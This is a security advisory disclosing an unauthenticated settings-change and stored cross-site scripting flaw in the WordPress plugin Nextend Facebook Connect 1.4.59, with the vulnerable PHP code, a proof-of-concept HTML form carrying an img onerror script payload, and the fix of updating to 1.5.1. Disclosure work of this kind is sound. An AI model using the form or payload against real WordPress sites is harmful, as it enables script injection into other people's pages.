WordPress Plugin Nextend Facebook Connect 1.4.59 - Cross-Site Scripting

# Exploit Title: Nextend Facebook Connect 1.4.59 XSS
# Date: 16-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.4.59.zip
# Category: webapps
# CVE: CVE-2014-8800

1. Description

Anyone can change plugin settings.

File: nextend-facebook-connect\nextend-facebook-settings.php
if(isset($_POST['newfb_update_options'])) {
	if($_POST['newfb_update_options'] == 'Y') {
		foreach($_POST AS $k => $v){
			$_POST[$k] = stripslashes($v);
		}
		update_option("nextend_fb_connect", maybe_serialize($_POST));
		$newfb_status = 'update_success';
	}
}

http://security.szurek.pl/nextend-facebook-connect-1459-xss.html

2. Proof of Concept

<form method="post" action="http://wordpress-instalation">
    <input type="hidden" name="newfb_update_options" value="Y">
    XSS: <textarea name="fb_login_button" rows="10" cols="40"><img src=x onerror=alert(String.fromCharCode(88,83,83))>&lt;/textarea&gt;
    <input type="submit" value="Hack!">
</form>

3. Solution:

Update to version 1.5.1
https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.5.1.zip
https://wordpress.org/plugins/nextend-facebook-connect/changelog/